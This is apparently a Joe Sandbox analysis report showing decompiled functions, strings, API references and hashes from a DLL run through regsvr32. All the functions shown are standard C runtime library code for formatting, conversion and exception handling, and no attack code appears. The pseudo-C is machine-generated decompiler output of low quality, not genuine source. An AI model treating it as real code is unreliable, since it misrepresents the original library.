(format != NULL), xrefs: 000007FEF9D3D9B6, 000007FEF9D3DA16
_woutput_s_l, xrefs: 000007FEF9D3D947, 000007FEF9D3DA0F, 000007FEF9D3DBD6, 000007FEF9D3ED3E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3D903, 000007FEF9D3D940, 000007FEF9D3D9CB, 000007FEF9D3DA08, 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3ECFA, 000007FEF9D3ED37
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-1870338870
Opcode ID: 677b85930a9a5e10114940793937fb41496cbdaf58dc4485b8ee00e4ca785de0
Instruction ID: 99087f23451225b4f7ab5820d3e4ac0e5e7a5016f389c9197bb40e17ebc05c44
Opcode Fuzzy Hash: 677b85930a9a5e10114940793937fb41496cbdaf58dc4485b8ee00e4ca785de0
Instruction Fuzzy Hash: 4ED11972A0CAC28AE7B09F64E8447AEB6E0F380349F604125D6CD47AE9DB7ED545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6D6 Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6D6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t223;
				signed char _t228;
				intOrPtr _t263;
				signed int _t338;
				signed int _t339;
				signed long long _t342;
				intOrPtr* _t365;
				signed long long _t390;

				_t338 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t339 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t342 = _a824;
				_a832 = _t342;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t342;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t223 = _a116;
				_a116 = _a116 - 1;
				if (_t223 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t223 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t228 = _a816 + _a708;
				_a816 = _t228;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t228;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t263 = _a1060;
				_a876 = _t263;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t365 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t365;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t263 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t365 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t390, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6d6
0x7fef9d3c6dd
0x7fef9d3c6e1
0x7fef9d3c6ee
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C
get_int64_arg.LIBCMTD ref: 000007FEF9D3C7B3
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

-, xrefs: 000007FEF9D3CA54
_output_s_l, xrefs: 000007FEF9D3BAFB
9, xrefs: 000007FEF9D3C98F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg$wctomb_s
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2984758162-268265396
Opcode ID: 61945b808d8ddeeab049de188114ad7d55d89a3558f0f9168201042d10a77149
Instruction ID: 3d46b7cc479ec5e1b64121366563b1e191facb976c601abf34f32c88bb47aca1
Opcode Fuzzy Hash: 61945b808d8ddeeab049de188114ad7d55d89a3558f0f9168201042d10a77149
Instruction Fuzzy Hash: 8202ED7260CBC186E7B1CB25E8857AEB7E4F384795F200125EACD86AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D363E0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 260COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D364BD
_invalid_parameter.LIBCMTD ref: 000007FEF9D3666E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36680
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36772
_invalid_parameter.LIBCMTD ref: 000007FEF9D368E8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D368FA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36959

Strings

_mbstowcs_s_l, xrefs: 000007FEF9D364AF, 000007FEF9D36660, 000007FEF9D368DA
bufferSize <= INT_MAX, xrefs: 000007FEF9D3660A, 000007FEF9D36667
retsize <= sizeInWords, xrefs: 000007FEF9D36884, 000007FEF9D368E1
", xrefs: 000007FEF9D368ED
(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0), xrefs: 000007FEF9D36459, 000007FEF9D364B6
P, xrefs: 000007FEF9D36912
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D3646E, 000007FEF9D364A8, 000007FEF9D3661F, 000007FEF9D36659, 000007FEF9D36899, 000007FEF9D368D3

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0)$P$_mbstowcs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$retsize <= sizeInWords
API String ID: 2192614184-660564692
Opcode ID: 51ea2d8a29ec6a42f4206cddb2a15a761283d0351a467ffd0ee92275139e1829
Instruction ID: 0047506df9643dfb2240c3b63e02d4c6faf0d454733b2a9523d16aca39b446dd
Opcode Fuzzy Hash: 51ea2d8a29ec6a42f4206cddb2a15a761283d0351a467ffd0ee92275139e1829
Instruction Fuzzy Hash: E5E10B32A0DBC685E7B09B14E8457AEA3E0F384794FA04625D6DD53AE8DF7ED484CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D355F0 Relevance: 24.2, APIs: 16, Instructions: 206
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D355F0(void* __ecx, long long __rcx, long long __rdx, signed int* __r8, signed int* __r9, long long _a8, void* _a16, signed int* _a24, signed int* _a32) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				void* _v64;
				long long _v72;
				void* _t88;
				void* _t89;
				void* _t107;
				void* _t109;
				signed int* _t158;
				signed int* _t160;
				long long _t175;
				long long _t186;
				signed int* _t187;
				signed int* _t193;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v72 = 0;
				_t158 = _a24;
				if ( *((intOrPtr*)(_t158 + 4)) == 0) goto 0xf9d35639;
				_t89 = E000007FE7FEF9D2E680(_t88, _t158);
				_v56 = _t158 + _a24[1];
				goto 0xf9d35642;
				_v56 = 0;
				if (_v56 == 0) goto 0xf9d356aa;
				_t160 = _a24;
				if ( *((intOrPtr*)(_t160 + 4)) == 0) goto 0xf9d35673;
				E000007FE7FEF9D2E680(_t89, _t160);
				_v48 = _t160 + _a24[1];
				goto 0xf9d3567c;
				_v48 = 0;
				if ( *((char*)(_v48 + 0x10)) == 0) goto 0xf9d356aa;
				if (_a24[2] != 0) goto 0xf9d356b1;
				if (( *_a24 & 0x80000000) != 0) goto 0xf9d356b1;
				goto 0xf9d35966;
				if (( *_a24 & 0x80000000) == 0) goto 0xf9d356d0;
				_v64 = _a16;
				goto 0xf9d356e9;
				_v64 = _a24[2] +  *_a16;
				if (( *_a24 & 0x00000008) == 0) goto 0xf9d35765;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d3575b;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d3575b;
				 *_v64 =  *((intOrPtr*)(_a8 + 0x28));
				_t175 = _v64;
				E000007FE7FEF9D35B30(_t100,  *_t175,  &(_a32[2]));
				 *_v64 = _t175;
				goto 0xf9d35760;
				E000007FE7FEF9D2CF80(_t175);
				goto 0xf9d3595a;
				if (( *_a32 & 0x00000001) == 0) goto 0xf9d35813;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35809;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35809;
				_t107 = E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64,  *((intOrPtr*)(_a8 + 0x28)), _a32[5]);
				if (_a32[5] != 8) goto 0xf9d35807;
				if ( *_v64 == 0) goto 0xf9d35807;
				_t186 = _v64;
				E000007FE7FEF9D35B30(_t107,  *_t186,  &(_a32[2]));
				 *_v64 = _t186;
				goto 0xf9d3580e;
				_t109 = E000007FE7FEF9D2CF80(_t186);
				goto 0xf9d3595a;
				_t187 = _a32;
				if ( *((intOrPtr*)(_t187 + 0x18)) == 0) goto 0xf9d3583c;
				E000007FE7FEF9D2E6A0(_t109, _t187);
				_v40 = _t187 + _a32[6];
				goto 0xf9d35845;
				_v40 = 0;
				if (_v40 != 0) goto 0xf9d358c6;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d358bc;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d358bc;
				_t191 = _a32[5];
				_v32 = _a32[5];
				E000007FE7FEF9D35B30(_t112,  *((intOrPtr*)(_a8 + 0x28)),  &(_a32[2]));
				E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64, _a32[5], _v32);
				goto 0xf9d358c1;
				E000007FE7FEF9D2CF80(_t191);
				goto 0xf9d3595a;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35955;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35955;
				_t193 = _a32;
				if ( *((intOrPtr*)(_t193 + 0x18)) == 0) goto 0xf9d35919;
				E000007FE7FEF9D2E6A0(_t117, _t193);
				_v24 = _t193 + _a32[6];
				goto 0xf9d35922;
				_v24 = 0;
				if (E000007FE7FEF9D3D2F0(_v24) == 0) goto 0xf9d35955;
				_t195 = _a32;
				if (( *_a32 & 0x00000004) == 0) goto 0xf9d3594b;
				_v72 = 2;
				goto 0xf9d35953;
				_v72 = 1;
				goto 0xf9d3595a;
				E000007FE7FEF9D2CF80(_a32);
				E000007FE7FEF9D2CF50(_t195);
				return _v72;
			}

0x7fef9d355f0
0x7fef9d355f5
0x7fef9d355fa
0x7fef9d355ff
0x7fef9d35608
0x7fef9d35610
0x7fef9d3561c
0x7fef9d3561e
0x7fef9d35632
0x7fef9d35637
0x7fef9d35639
0x7fef9d35648
0x7fef9d3564a
0x7fef9d35656
0x7fef9d35658
0x7fef9d3566c
0x7fef9d35671
0x7fef9d35673
0x7fef9d35687
0x7fef9d35695
0x7fef9d356a8
0x7fef9d356ac
0x7fef9d356c2
0x7fef9d356c9
0x7fef9d356ce
0x7fef9d356e4
0x7fef9d356f8
0x7fef9d3570f
0x7fef9d35722
0x7fef9d35732
0x7fef9d35744
0x7fef9d3574c
0x7fef9d35756
0x7fef9d35759
0x7fef9d3575b
0x7fef9d35760
0x7fef9d35774
0x7fef9d3578f
0x7fef9d357a2
0x7fef9d357c1
0x7fef9d357d6
0x7fef9d357e1
0x7fef9d357f2
0x7fef9d357fa
0x7fef9d35804
0x7fef9d35807
0x7fef9d35809
0x7fef9d3580e
0x7fef9d35813
0x7fef9d3581f
0x7fef9d35821
0x7fef9d35835
0x7fef9d3583a
0x7fef9d3583c
0x7fef9d3584b
0x7fef9d35862
0x7fef9d35875
0x7fef9d3587f
0x7fef9d35883
0x7fef9d358a0
0x7fef9d358b5
0x7fef9d358ba
0x7fef9d358bc
0x7fef9d358c1
0x7fef9d358db
0x7fef9d358ee
0x7fef9d358f0
0x7fef9d358fc
0x7fef9d358fe
0x7fef9d35912
0x7fef9d35917
0x7fef9d35919
0x7fef9d3592e
0x7fef9d35930
0x7fef9d3593f
0x7fef9d35941
0x7fef9d35949
0x7fef9d3594b
0x7fef9d35953
0x7fef9d35955
0x7fef9d3595c
0x7fef9d3596a

APIs

_ValidateRead.LIBCMTD ref: 000007FEF9D35708
_ValidateRead.LIBCMTD ref: 000007FEF9D3571B
__AdjustPointer.LIBCMTD ref: 000007FEF9D3574C
_ValidateRead.LIBCMTD ref: 000007FEF9D35788
_ValidateRead.LIBCMTD ref: 000007FEF9D3579B
__AdjustPointer.LIBCMTD ref: 000007FEF9D357FA
_inconsistency.LIBCMTD ref: 000007FEF9D35809
_ValidateRead.LIBCMTD ref: 000007FEF9D3585B
_ValidateRead.LIBCMTD ref: 000007FEF9D3586E
__AdjustPointer.LIBCMTD ref: 000007FEF9D358A0
_inconsistency.LIBCMTD ref: 000007FEF9D358BC
_ValidateRead.LIBCMTD ref: 000007FEF9D358D4
_ValidateRead.LIBCMTD ref: 000007FEF9D358E7
_ValidateExecute.LIBCMTD ref: 000007FEF9D35927
_inconsistency.LIBCMTD ref: 000007FEF9D3575B

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_inconsistency.LIBCMTD ref: 000007FEF9D35955

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Validate$Read$Pointer_inconsistency$Adjust$DecodeExecuteterminate
String ID:
API String ID: 801082872-0
Opcode ID: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction ID: 9d611a2ef42a4ce54476322da2bce67ea854ec722e2e267300ecfa65af3b148c
Opcode Fuzzy Hash: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction Fuzzy Hash: 4DA13D32B0CA4682EAA08B16E89077E67E0F7C4B95F208121DACD877B5DF3ED451CB10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38D00 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 287COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38DAA
_invalid_parameter.LIBCMTD ref: 000007FEF9D38E49
_invalid_parameter.LIBCMTD ref: 000007FEF9D38F8C
_invalid_parameter.LIBCMTD ref: 000007FEF9D3903D
_invalid_parameter.LIBCMTD ref: 000007FEF9D39205

Strings

length < sizeInTChars, xrefs: 000007FEF9D391A1, 000007FEF9D391FE
sizeInTChars > 0, xrefs: 000007FEF9D38DE5, 000007FEF9D38E42
$, xrefs: 000007FEF9D38FA5
2 <= radix && radix <= 36, xrefs: 000007FEF9D38FD9, 000007FEF9D39036
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D38D5B, 000007FEF9D38D95, 000007FEF9D38DFA, 000007FEF9D38E34, 000007FEF9D38F3D, 000007FEF9D38F77, 000007FEF9D38FEE, 000007FEF9D39028, 000007FEF9D391B6, 000007FEF9D391F0
buf != NULL, xrefs: 000007FEF9D38D46, 000007FEF9D38DA3
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D38F28, 000007FEF9D38F85
xtow_s, xrefs: 000007FEF9D38D9C, 000007FEF9D38E3B, 000007FEF9D38F7E, 000007FEF9D3902F, 000007FEF9D391F7

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtow_s
API String ID: 2123368286-1993839260
Opcode ID: 758167781a4fb66a58f740ebc537b1c9f8383254a932b9fe6e590f504f1f2882
Instruction ID: 118e4e4707969e3dac6bf015ec0fe9163e407fa4248f5c8d89799a475a93b5a4
Opcode Fuzzy Hash: 758167781a4fb66a58f740ebc537b1c9f8383254a932b9fe6e590f504f1f2882
Instruction Fuzzy Hash: 49E11B72A1CB86CAE7A08B18E8447AEB3E1F384755F604525E6CD43BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37030 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D370DA
_invalid_parameter.LIBCMTD ref: 000007FEF9D37179
_invalid_parameter.LIBCMTD ref: 000007FEF9D372B6
